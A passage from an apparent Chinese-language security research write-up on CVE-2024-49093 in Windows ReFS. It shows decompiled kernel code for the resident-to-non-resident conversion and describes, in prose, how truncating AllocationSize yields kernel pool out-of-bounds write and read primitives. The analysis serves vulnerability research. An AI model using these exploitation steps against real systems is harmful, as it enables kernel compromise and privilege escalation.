,但在此之前会做一个边界检查:if ( *v6 + v13 > (unsigned __int64)(unsigned int)v23.row.key.ptr->RecordSizeBytes )
,可以将其写为:
if(BytesToWrite + offset + scb->AttributeHdrLength > v23.row.key.ptr->RecordSizeBytes)
v23.row.key.ptr->RecordSizeBytes
来自当前常驻记录的“记录总大小”字段。
RecordSizeBytes
就是当前 resident 记录的总大小(约 =0x3C + DataLen
,再综合 8 字节对齐)。这行检查的含义为:WriteFile
的范围是否落在这条 resident 记录的边界内?
正常情况下,比如在第一次写0x200
后,内核会在第二次更大写入前对 resident 记录做预扩容(本质上是把记录重写一份更大的 COW 版本)。比如第二次要写的0x400
,则新的RecordSizeBytes = 0x3C + 0x400 = 0x43C
,因此检查能够通过。
但是在利用漏洞的情况下,我们绕过了常驻阈值并错误更新了AllocationSize
,没有触发 resident 记录的预扩容,于是RecordSizeBytes
仍然是 0x23C(= 0x3C + 0x200)。此时第二次写0x400
,因此0x400 + 0 + 0x3C > 0x23C分支成立,因此检查未通过,WriteFile
会报错The request is not supported.所以我们无法直接用WriteFile
进行越界写。
我们现在重新回顾RefsAddAllocationForResidentWrite
漏洞所造成的效果:通过64位截断绕过了常驻阈值的检查,然后用32位值去更新scb
的AllocationSize
;经过调试发现即使WriteFile
返回了错误,AllocationSize
也没有被回滚。
同时注意到当写入超过常驻阈值时,ReFS 会调用RefsConvertToNonResident
把数据流从 resident 切换到 non-resident:
void __fastcall RefsConvertToNonResident(struct _IRP_CONTEXT *a1, struct _SCB *scb) { PVOID Fcb; // r14 unsigned int v5; // r8d PVOID new_data; // r15 char v7; // r12 __int16 AttributeTypeCode; // ax int ScbState; // eax bool v10; // zf char v11; // al int v12; // eax char v13; // al struct CmsRowWithBuffer *v14; // r9 unsigned int AttributeLength; // ebx unsigned int *UntypedAttribute; // r13 __int64 v17; // rcx DWORD original_size; // r13d __int64 v19; // rbx struct _ROLLBACK_STRUCT *v20; // rax __int64 v21; // rdx unsigned int v22; // edx bool v23; // r8 CmsBPlusTable **Entry; // rax struct CmsTransactionContext *v25; // r10 __int64 v26; // rdx __int64 v27; // r11 NTSTATUS v28; // eax unsigned int v29; // r8d __int64 v30; // r9 struct _SCB *v31; // rax struct _MS_FAST_RESOURCE_OWNER_ENTRY *IrpContextPagingIoOwnerEntryRelease; // rax unsigned int v33; // r8d __int64 v34; // r9 struct _MS_FAST_RESOURCE_OWNER_ENTRY *v35; // rbx char v36; // [rsp+41h] [rbp-277h] unsigned int *v37; // [rsp+48h] [rbp-270h] BYREF NTSTATUS Status; // [rsp+50h] [rbp-268h] unsigned int allocate_size; // [rsp+54h] [rbp-264h] void *original_data; // [rsp+58h] [rbp-260h] struct _VCB *v41; // [rsp+60h] [rbp-258h] PVOID v42; // [rsp+68h] [rbp-250h] struct _SCB *v43; // [rsp+70h] [rbp-248h] PVOID v44; // [rsp+78h] [rbp-240h] struct _IRP_CONTEXT *v45; // [rsp+80h] [rbp-238h] const struct _CmsRow *AttributeManager[15]; // [rsp+88h] [rbp-230h] BYREF __int16 v47; // [rsp+100h] [rbp-1B8h] __int64 v48; // [rsp+280h] [rbp-38h] v45 = a1; v43 = scb; Fcb = scb->Fcb; v44 = Fcb; v41 = (struct _VCB *)*((_QWORD *)Fcb + 10); v48 = 0LL; v47 = 0; RefsAttributeManager::Initialize((RefsAttributeManager *)AttributeManager); new_data = 0LL; v42 = 0LL; v7 = 0; v36 = 0; AttributeTypeCode = scb->AttributeTypeCode; if ( AttributeTypeCode != 128 && AttributeTypeCode != 176 ) { if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control && (HIDWORD(WPP_GLOBAL_Control->Timer) & 0x100) != 0 && BYTE1(WPP_GLOBAL_Control->Timer) >= 4u ) { WPP_SF_D(WPP_GLOBAL_Control->AttachedDevice, 37LL, &WPP_64251121164937b7b50a824cb5e5b8f0_Traceguids, 3221225488LL); } if ( (_BYTE)RefsStatusDebugEnabled ) RefsStatusDebug(-1073741808, a1, "ProtogonAttributes.c", 0xC37u); RefsRaiseStatusInternal(a1, -1073741808, v5); __debugbreak(); } if ( (*((_BYTE *)a1 + 8) & 1) == 0 ) { if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control && (HIDWORD(WPP_GLOBAL_Control->Timer) & 0x100) != 0 && BYTE1(WPP_GLOBAL_Control->Timer) >= 4u ) { WPP_SF_D(WPP_GLOBAL_Control->AttachedDevice, 38LL, &WPP_64251121164937b7b50a824cb5e5b8f0_Traceguids, 3221225688LL); } if ( (_BYTE)RefsStatusDebugEnabled ) RefsStatusDebug(-1073741608, a1, "ProtogonAttributes.c", 0xC3Fu); RefsRaiseStatusInternal(a1, -1073741608, v5); goto LABEL_53; } ScbState = scb->ScbState; if ( (ScbState & 8) == 0 || (v10 = (ScbState & 0x40) == 0, v11 = 1, !v10) ) v11 = 0; if ( v11 ) { if ( (unsigned __int8)ExIsFastResourceHeld(*((_QWORD *)Fcb + 12)) ) { if ( !(unsigned __int8)ExIsFastResourceHeldExclusive(*((_QWORD *)scb->Fcb + 12)) ) { v31 = scb; if ( scb->NodeTypeCode != 0x802 ) v31 = (struct _SCB *)scb->Fcb; IrpContextPagingIoOwnerEntryRelease = RefsGetIrpContextPagingIoOwnerEntryRelease( a1, (struct _MS_FAST_RESOURCE *)v31->FastResource); v35 = IrpContextPagingIoOwnerEntryRelease; if ( !IrpContextPagingIoOwnerEntryRelease || !(unsigned __int8)ExTryToConvertFastResourceSharedToExclusive(v34, IrpContextPagingIoOwnerEntryRelease) ) { LABEL_60: *((_QWORD *)a1 + 1) |= 0x100uLL; if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control && (HIDWORD(WPP_GLOBAL_Control->Timer) & 0x100) != 0 && BYTE1(WPP_GLOBAL_Control->Timer) >= 4u ) { WPP_SF_D( WPP_GLOBAL_Control->AttachedDevice, 39LL, &WPP_64251121164937b7b50a824cb5e5b8f0_Traceguids, 0xC00000D8LL); } if ( (_BYTE)RefsStatusDebugEnabled ) RefsStatusDebug(-1073741608, a1, "ProtogonAttributes.c", 0xC62u); RefsRaiseStatusInternal(a1, -1073741608, v33); __debugbreak(); JUMPOUT(0x1C00FCF81LL); } --*((_DWORD *)v35 + 18); *((_DWORD *)v35 + 19) &= ~2u; v7 = 1; } } else { RefsAcquireExclusivePagingIo(a1, (struct _FCB *)Fcb, 1u); v36 = 1; } RefsAcquireExclusiveScb((__int64)a1, (__int64)scb, 0LL); v12 = scb->ScbState; if ( (v12 & 8) == 0 || (v10 = (v12 & 0x40) == 0, v13 = 1, !v10) ) v13 = 0; if ( !v13 ) goto LABEL_32; RefsBindMinstoreTransaction(a1); RefsAttributeManager::LookupAttributeForScb( (RefsAttributeManager *)AttributeManager, (struct CmsTransactionContext **)a1, scb); RefsAttributeManager::CopyFullAttribute(AttributeManager, a1, (struct _FCB *)Fcb, v14); AttributeLength = RefsAttributeManager::GetAttributeLength((RefsAttributeManager *)AttributeManager); UntypedAttribute = (unsigned int *)RefsAttributeManager::GetUntypedAttribute( (RefsAttributeManager *)AttributeManager, AttributeLength); RefsAttributeManager::DeleteAttribute( (__int64)AttributeManager, (struct CmsTransactionContext **)a1, (__int64)Fcb, 0); v37 = UntypedAttribute; v17 = *UntypedAttribute; original_data = (char *)UntypedAttribute + v17; original_size = scb->FileSizes.FileSize.LowPart; allocate_size = -(1 << *((_DWORD *)v41 + 138)) & (AttributeLength - v17 + (1 << *((_DWORD *)v41 + 138)) - 1); v19 = allocate_size; if ( original_size != allocate_size ) { new_data = ExAllocatePoolWithTag((POOL_TYPE)0x210, allocate_size, 'AorP'); v42 = new_data; memset(new_data, 0, allocate_size); memmove(new_data, original_data, original_size); original_data = new_data; } if ( scb->AttributeTypeCode == 128 ) { v20 = RefsAddStructToRollbackList(a1, 0x823u, Fcb, 1); v21 = ~(*((_QWORD *)v20 + 5) & 0x80000000LL) & 0x80000000LL; *((_QWORD *)v20 + 5) |= v21; *((_QWORD *)v20 + 4) |= *((_QWORD *)Fcb + 1) & v21; *((_DWORD *)v20 + 1) |= 1u; scb->ScbState &= ~8u; *((_QWORD *)Fcb + 1) &= ~0x80000000uLL; } scb->SecureState = 6; scb->FileSizes.AllocationSize.QuadPart = 0LL; if ( scb->NodeTypeCode == 0x805 ) scb->ValidDataHighWatermark = 0LL; RefsAllocateNonResidentDataAttribute(a1, (__int64)scb, scb->AttributeFlags, v19); if ( (v37[1] & 1) == 0 || (v37 = 0LL, Entry = (CmsBPlusTable **)CmsTableSetBase::GetEntry( *((CmsTableSetBase **)scb->BPlusTable + 2), *((_QWORD *)scb->BPlusTable + 3), v23), CmsBPlusTable::GetIntegrityInformation(*Entry, v25, (struct _MINSTORE_INTEGRITY_INFORMATION_BUFFER *)&v37), HIDWORD(v37) |= 1u, v28 = MsSetStreamIntegrityInformation(v27, v26, &v37, 0LL), v30 = (unsigned int)v28, Status = v28, v28 >= 0) ) { if ( original_size ) { RefsWriteFileSizes(a1, scb, 0LL, 2u); RefsWriteBytes(a1, v41, scb, 0LL, (char *)original_data, allocate_size); scb->ScbState &= ~4u; } RefsCheckpointCurrentTransaction((struct _LIST_ENTRY *)a1, v22); LABEL_32: if ( new_data ) ExFreePoolWithTag(new_data, 0); RefsAttributeManager::Cleanup((RefsAttributeManager *)AttributeManager, a1); RefsReleaseFcb(a1, (struct _FCB *)scb->Fcb); if ( v36 ) { RefsReleasePagingResource(a1, Fcb); *((_QWORD *)a1 + 7) = 0LL; } if ( v7 ) RefsConvertPagingResourceExclusiveToShared(a1, Fcb); return; } LABEL_53: if ( WPP_GLOBAL_Control != (PDEVICE_OBJECT)&WPP_GLOBAL_Control && (HIDWORD(WPP_GLOBAL_Control->Timer) & 0x100) != 0 && BYTE1(WPP_GLOBAL_Control->Timer) >= 4u ) { WPP_SF_D(WPP_GLOBAL_Control->AttachedDevice, 40LL, &WPP_64251121164937b7b50a824cb5e5b8f0_Traceguids, v30); } if ( (_BYTE)RefsStatusDebugEnabled ) RefsStatusDebug(Status, a1, "ProtogonAttributes.c", 0xCF4u); RefsRaiseStatusInternal(a1, Status, v29); goto LABEL_60; } }
这个函数做的事情很直接:超过常驻阈值后,将常驻属性转换为非常驻。过程中它会按卷的扇区大小重新计算/对齐一个目标大小,为非常驻数据区开辟新内存,然后把原本常驻里的有效数据拷贝到这块新空间里,最后将文件数据流切换为非常驻表示。
基于此,可以尝试以下的利用链:
AllocationSize
篡改为0RefsConvertToNonResident
。RefsConvertToNonResident
在为非常驻数据区计算目标长度/对齐时得到0,导致实际在池里只分到很小的块(0x20)。但拷贝逻辑仍然无条件把先前 resident 的有效负载拷贝到这块新空间——于是完成了OOB write。
下面是写入0x700长度的调试结果:
申请0 size的池内存:
向该pool拷贝0x700长度的数据,造成越界写
最终我们可以通过RefsConvertToNonResident
非常驻内存转换实现了在0x20的池内存上进行最多0x800-0x10长度的OOB write。
本文简要回顾了 ReFS 的基础(MinStore B+ 与 COW)、resident 与 non-resident 的差异,并通过补丁对比定位并分析了 CVE-2024-49093 的根因:把 64 位写入末端误按 32 位处理,导致常驻阈值绕过与文件尺寸状态不一致。
漏洞利用上:
AllocationSize ≪ FileSize
后,RefsNonCachedResidentRead
会把 resident 记录复制到池块上再memmove
给用户,请求长度超过真实数据就能在内核池上OOB read。MsUpdateMetaRow
的边界检查,直接 OOB 写行不通;但通过将AllocationSize
截断到0并触发RefsConvertToNonResident
,在“常驻→非常驻”的迁移阶段可以在小池块上形成 OOB write。https://www.sciencedirect.com/science/article/pii/S266628172030010X